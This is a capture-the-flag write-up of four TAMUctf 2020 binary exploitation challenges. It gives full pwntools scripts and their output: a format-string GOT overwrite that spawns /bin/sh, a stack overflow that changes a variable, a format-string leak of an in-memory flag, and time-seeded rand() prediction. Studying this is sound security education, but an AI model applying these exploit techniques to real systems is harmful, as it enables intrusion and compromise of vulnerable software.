CTF, PWN

Tamu 2020 pwnable writeups

Those are some of the pwn challenges I solved during ‘tamu’ ctf

B64DECODER
BBPWN
ECHO_AS_A_SERVICE
TROLL

B64DECODER

Binary Explotation, 244 points

Description

We put together a demo for our high performance computing server. Why don’t you check it out? b64decoder libc.so.6

We’ll check the binary protections using checksec of pwntools.

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ checksec b64decoder
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE/b64decoder'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Lets run the program:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ ./b64decoder 
Base64 is an encoding that represents binary data in ASCII string format.
Each number from 0 to 63 is mapped to an ASCII character.  For example, 'z' is 63
Base64 Decoder: Powered by a64l (0xf7dc18a0)
Enter your name!  
bloop
Welcome, bloop

Please enter input to be decoded: 
bloop
903040103
Please enter input to be decoded: 
bloop
903040103
Please enter input to be decoded: 
^C

Were asked to enter our name, after entering the name we enter a loop and are asked to enter a value that will decoded from base64

Vulnerability

The vulnerability is format string In line 23

Solution

My initial thought about exploiting the program was this:

  1. Overwrite a GOT entrance with main function so we we’ll have infinite number of format string
  2. Leak a libc address, possibly main’s return address and calculate libc base
  3. Overwrite a GOT entrance with a one gadget from libc

However, while writing the exploit I had difficulties with the last stage, it seemed that the payload was too large for the buffer which is 32 bytes :(

After that i thought some time and got a different plan

  1. Overwrite a GOT entrance with main function so we we’ll have infinite number of format string
  2. Overwrite fgets GOT entrance with system

I decided to overwrite fgets because her first parameter is the buffer which we control which means we can insert /bin/sh; at the start of our payload

Lets start with the first stage

First we need to know which function we intend to overwrite, it cant be before the vulnerable printf, were left with putchar

Now we need to get the offset for our buffer, lets debug and put a breakpoint at the call to the vulnerable printf

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ gdb -q b64decoder
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from b64decoder...(no debugging symbols found)...done.
gef➤  b* main+201
Breakpoint 1 at 0x804928b

Now run the program using r and input the buffer with our favorite input AAAAAAAA so we’ll know the hex charecters to recognize plus the trigger for the vulnerability ` %p %p %p %p %p %p %p %p`

Lets print the stack next 100 words starting from the esp using x/100wx $esp

gef➤  x/100wx $esp
0xffffcf60:	0xffffd07c	0x00000020	0xf7fb85c0	0x080491dc --> first thing we leaked -- 0x20
0xffffcf70:	0xf7fdf289	0x0000093c	0xf7de3e54	0xf63d4e2e
0xffffcf80:	0xf7fd0110	0xf7fdf73d	0x00000001	0x00000001
0xffffcf90:	0xf7ded438	0x0000093c	0xf7dedcc8	0xf7fd0110
0xffffcfa0:	0xffffcff4	0xffffcff0	0x00000003	0x00000000
0xffffcfb0:	0xf7ffd000	0xf7dedcc8	0xf7de4012	0xf7ded438
0xffffcfc0:	0xf63d4e2e	0x08048314	0x07b1ea71	0xffffd074
0xffffcfd0:	0xffffcff4	0xf7fd03e0	0x00000000	0x00000000
0xffffcfe0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcff0:	0x00000000	0x00000000	0x000000c2	0x00001fff
0xffffd000:	0xf7fdf409	0xf63d4e2e	0xf7ffdaf8	0xffffd07c
0xffffd010:	0x00000000	0xf7fdff9b	0x08048260	0xffffd07c
0xffffd020:	0xf7ffda9c	0x00000001	0xf7fd0410	0x00000001
0xffffd030:	0x00000000	0x00000001	0xf7ffd940	0x000000c2
0xffffd040:	0x00000000	0x00c30000	0x00000000	0xf7ffd000
0xffffd050:	0x00000000	0x00000000	0x00000000	0x93b1b300
0xffffd060:	0x0000000a	0xffffd304	0xf7e104a9	0xf7fbb748
0xffffd070:	0xf7fb8000	0xf7fb8000	0x00000000	0x41414141  --> our AAAA is 0x41414141
0xffffd080:	0x41414141	0x20702520	0x25207025	0x70252070
0xffffd090:	0x20702520	0x25207025	0x00252070	0x0804934d
0xffffd0a0:	0xffffd0c0	0x00000000	0x00000000	0xf7df8e81
0xffffd0b0:	0xf7fb8000	0xf7fb8000	0x00000000	0xf7df8e81
0xffffd0c0:	0x00000001	0xffffd154	0xffffd15c	0xffffd0e4
0xffffd0d0:	0x00000001	0x00000000	0xf7fb8000	0xf7fe575a
0xffffd0e0:	0xf7ffd000	0x00000000	0xf7fb8000	0x00000000

Continue the run using c and look at the output

gef➤  c
Continuing.
Welcome, AAAAAAAA 0x20 0xf7fb85c0 0x80491dc 0xf7fdf289 0x93c 0xf7de3e54 0xf63d4e2e

So our first and second word are 0x20 and 0xf7fb85c0 respectivley, if well count until our buffer well get 71, so our offset is 71

Now, I decided to overwrite putchar@got with main+68 using fmtstr from pwntools

buffer_offset = 71
putchar_got = e.got['putchar']
main_address = e.sym['main'] + 68

payload = fmtstr_payload(buffer_offset, {putchar_got: main_address}, write_size='long')

Great, now every time we will get to putchar we’ll jump to main :)

Next we want a payload that will overwrite fgets@got with system and will start with /bin/sh;.

So we know that the start are eight bytes of /bin/sh;

payload = ''
payload += '/bin/sh;'.ljust(8)

Next we’ll put the address we want to overwrite which is fgets@got

fgets_got = e.got['fgets']
payload += p32(fgets_got)

Now we’ll write data in the size of the address we want to put instead fgets@got, Its important to see that we cant partial overwrite in two or three times because we pass by fgets in every iteration in the loop we created so if we’ll partial overwrite the program will crash

buffer_offset = 76
system = e.sym['system']
payload += '%{}${}p'.format(buffer_offset + 2, system - len(payload))

Also important is to see that we already printed some characters so we need to remove them from the size of the address, hence the system - len(payload).

We could have putten every offset at the start, doesn’t matter, we added 2 because 77 is the offset of the /bin/sh (can be seen threw debugging, like the first time) so + 8 chars(len of /bin/sh) which is 2 words.

Next, the write itself, well put the offset of our address fgets that we wrote to the buffer and the specifier %n

payload += '%{}$n'.format(buffer_offset)

And the payload is ready, on my computer the exploit takes a couple of minutes to finish, because we need to print allot of characters to the screen

from pwn import *
import sys

context.clear(os='linux')

__author__ = 'yuvaly0'

argv = sys.argv
binary_path = './b64decoder'
REMOTE = False
DEBUG = False

if len(argv) > 1:
	if argv[1] == 'remote':
		REMOTE = True
	if argv[1] == 'debug':
		DEBUG = True

if REMOTE:
	sh = remote('challenges.tamuctf.com', 2783)
else:
	sh = process([binary_path])

if DEBUG:
	gdb.attach(sh, '''
		b* main+201
		b* main+206
		''')

e = ELF(binary_path)

# ------------- plan -----------
# overwrite putchar@got with main's address
# overwrite fgets@got with system

# first level
buffer_offset = 71
putchar_got = e.got['putchar']
main_address = e.sym['main'] + 68

log.info('putchar@got: {}'.format(hex(putchar_got)))
log.info('main\'s address: {}'.format(hex(main_address)))
log.info('fgets@got: {}'.format(hex(e.got['fgets'])))
log.info('system: {}'.format(hex(e.sym['system'])))

payload = fmtstr_payload(buffer_offset, {putchar_got: main_address}, write_size='long')
sh.sendlineafter('Enter your name!  \n', payload)

log.progress('Overwriting putchar@got with main+68')

# second level
buffer_offset = 76
system = e.sym['system']
fgets_got = e.got['fgets']

payload = ''
payload += '/bin/sh;'.ljust(8)
payload += p32(fgets_got)
payload += '%{}${}p'.format(buffer_offset + 2, system - len(payload))
payload += '%{}$n'.format(buffer_offset + 2)
sh.sendlineafter('Enter your name!  \n', payload)

sh.interactive()

Output:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 2783: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE/b64decoder'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] putchar@got: 0x804b3c0
[*] main's address: 0x8049206
[*] fgets@got: 0x804b3b0
[*] system: 0x8049070
[o] Overwriting putchar@got with main+68

...
...
...

Enter your name!  
$ ls
b64decoder
flag.txt
start.sh
$ cat flag.txt
gigem{b1n5h_1n_b45364?}

Flag: gigem{b1n5h_1n_b45364?}

BBPWN

Binary Explotation, 50 points

Description

Welcome to pwnland! bbpwn

We’ll check the binary protections, using checksec.

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE$ checksec bbpwn
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE/bbpwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Hm, looks like he has all of his protections enabled, lets run the binary and see what were dealing with

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE$ ./bbpwn 
Enter a string: bloop

The string "bloop" is lame.

Were prompt with an input to enter a string, after that its being printed, could it be format string? Lets reverse the binary and take a look at the assembly

Vulnerability

The vulnerability is stack buffer overflow

Solution

We got a bof, but looks like the program compares a variable to 0x1337BEEF and if its equal it jumps to the read_flag function, thats what we want!

So, we want to overflow the buffer in order to write 0x1337BEEF to var_10, lets take a look at the diffrence on the stack

Our string is s which it at -30h, The variable we intend to overwrite is at -10h. The diffrence is 0x20, Lets try trigger the vulnerabilty

from pwn import *
import sys

context.clear(os='linux')

__author__ = 'yuvaly0'

argv = sys.argv
binary_path = './bbpwn'
REMOTE = False
DEBUG = False

if len(argv) > 1:
	if argv[1] == 'remote':
		REMOTE = True
	if argv[1] == 'debug':
		DEBUG = True

if REMOTE:
	sh = remote('challenges.tamuctf.com', 4252)
else:
	sh = process([binary_path])

if DEBUG:
	gdb.attach(sh, '''
		b* main+103
		''')

e = ELF(binary_path)

# ------------- plan -----------
# overwrite variable using bof

overflow_offset = 32
value_we_want = 0x1337BEEF

payload = fit({
	overflow_offset: value_we_want
	})

sh.sendlineafter('Enter a string: ', payload)

print sh.recvline()

Output:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4252: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE/bbpwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Congratulations. Your string is not lame. Here you go: gigem{0per4tion_skuld_74757474757275}

Flag: gigem{0per4tion_skuld_74757474757275}

ECHO_AS_A_SERVICE

Binary Explotation, 50 points

Description

Echo as a service (EaaS) is going to be the newest hot startup! We’ve tapped a big market: Developers who really like SaaS. echoasaservice

We’ll check the program protections, using checksec.

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ checksec echoasaservice
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Hm, so NX and PIE are enabled and no canary, from first look looks like we we’ll need to leak some address so probably format string and possibly buffer overflow since the absence of a canary.

Lets run the program

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ ./echoasaservice 
Echo as a service (EaaS)
bloop
bloop
Echo as a service (EaaS)
blip 
blip
Echo as a service (EaaS)
^C   

Looks like the program takes input in a while True and print’s it, next step will be to reverse the program

Vulnerability

The vulnerability is a stack buffer overflow and format string

The program reads the flag and stores it on a buffer that is in the stack.

Because only rdi is initialized which means that there is only one parameter for printf.

System V amd64 calling convention

Solution

We we’ll try to use the format string and leak the flag that is on the stack :)

Firstly I tried to just used %s multiple times hoping the flag will pop up sometime but when I reached the eighth element on the stack I got Segmentation fault

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ ./echoasaservice 
Echo as a service (EaaS)
%8$s
Segmentation fault (core dumped)

Looks weird, I created a fake flag.txt file and initialized it with AAAAAAAAAAAAAAA so i could recognize the 0x41414141 if i will leak it.

echo 'AAAAAAAAAAAAAAA' > flag.txt

Lets try again, but with %p so will see some hex

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ ./echoasaservice 
Echo as a service (EaaS)
%8$p
0x4141414141414141

Nice, we reached our flag, now we need to leak it all, looking at the assembly we can see that the length of the flag is 0x19, the second parameter to fgets, so if the eighth element on the stack is the first eight characters of our flag (eight because our architecture is amd64) so we will need the ninth and tenth element as well, together with the null byte at the end of the flag its 25 bytes.

Lets write something that will leak for us:

for i in xrange(8, 11):
	sh.sendlineafter('Echo as a service (EaaS)\n', '%{}$p'.format(i))
	print sh.recvline()[2:-1]

Output:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4251: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
61337b6d65676967
616d7230665f7973
7d316e6c75765f74

Now we’ll decode

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4251: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
a3{megig
amr0f_ys
}1nluv_t

Looks like we got the flag :), but every part is reversed, lets reverse and concat

from pwn import *
import sys

context.clear(arch='amd64', os='linux')

__author__ = 'yuvaly0'

argv = sys.argv
binary_path = './echoasaservice'
REMOTE = False
DEBUG = False

if len(argv) > 1:
	if argv[1] == 'remote':
		REMOTE = True
	if argv[1] == 'debug':
		DEBUG = True

if REMOTE:
	sh = remote('challenges.tamuctf.com', 4251)
else:
	sh = process([binary_path])

if DEBUG:
	gdb.attach(sh, '''
		b* main
		''')

e = ELF(binary_path)

# ------------- plan -----------
# use format string to leak the flag

flag = ''
for i in xrange(8, 11):
	sh.sendlineafter('Echo as a service (EaaS)\n', '%{}$p'.format(i))
	flag += sh.recvline()[2:-1].decode('hex')[::-1]

log.success(flag)

Output:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4251: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] gigem{3asy_f0rmat_vuln1}

Flag: gigem{3asy_f0rmat_vuln1}

TROLL

Binary Explotation, 50 points

Description

There’s a troll who thinks his challenge won’t be solved until the heat death of the universe. troll

Well check the program mitigations using checksec of pwntools.

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/TROLL_DONE$ checksec troll
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/TROLL_DONE/troll'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Lets run the program:

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/TROLL_DONE$ ./troll
Who goes there?
bloop
Welcome to my challenge, bloop. No one has ever succeeded before. Will you be the first?
I am thinking of a number from 1-100000. What is it?
12
You have failed. Goodbye.

Firstly the program asks us to answer the question Who goes there? and then asks us to guess the number she generates. In most of the challenges with guessing a number there is a Predictable RNG(Random Number Generator) so well keep an eye to search for that.

Predicatable RNG

Vulnerability

The vulnerability is a Predictable RNG(Random Number Generator)

Once you decompile the binary you can see:

At line 20, the program determines the seed (srand) of the rand function using the current time, after that it calls rand(line 33) to get a “random” number, after you’ve guessed a hundred numbers correctly you get the flag :)

There is also a stack buffer overflow in line 17, but knowing that the PIE mitigation is on, that wont help us unless we we’ll get a leak.

Solution

Because the program determines the seed only once we can predict all the numbers she calculates, lets write a C program to do that, we want here at first to give a basic string or basicly anything to answer the question Who goes there?, after that we want to set a seed based on the current time and calculate using random

#include <stdio.h> 
#include <time.h>
#include <stdlib.h> 
 
const char* __author__ = "yuvaly0";

int main () 
{ 
    printf("%d\n", 100);

    int i;
      
    srand(time(0)); 
    
    for (i = 0; i <= 99; ++i)
    {
        printf("%d\n", rand() % 100000 + 1); 
    }
      
    return 0; 
} 

The first printf is to answer the question

Now, lets compile using gcc:

gcc -O solve solve.c

And run :)

yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/TROLL_DONE$ ./solve | nc challenges.tamuctf.com 4765
Who goes there?
Welcome to my challenge, 100. No one has ever succeeded before. Will you be the first?
I am thinking of a number from 1-100000. What is it?
Impressive.
I am thinking of a number from 1-100000. What is it?
Impressive.

...
...
...

You've guessed all of my numbers. Here is your reward.
gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}

One thing i got stuck on was that localy the program ran and i got the flag but when I tried it on the remote machine it failed, it was because I’m on a diffrent time zone then the machine, after checking in the ctf discord the time zone i was able to set my machine accordingly.

Flag: gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}

updated_at 07-04-2020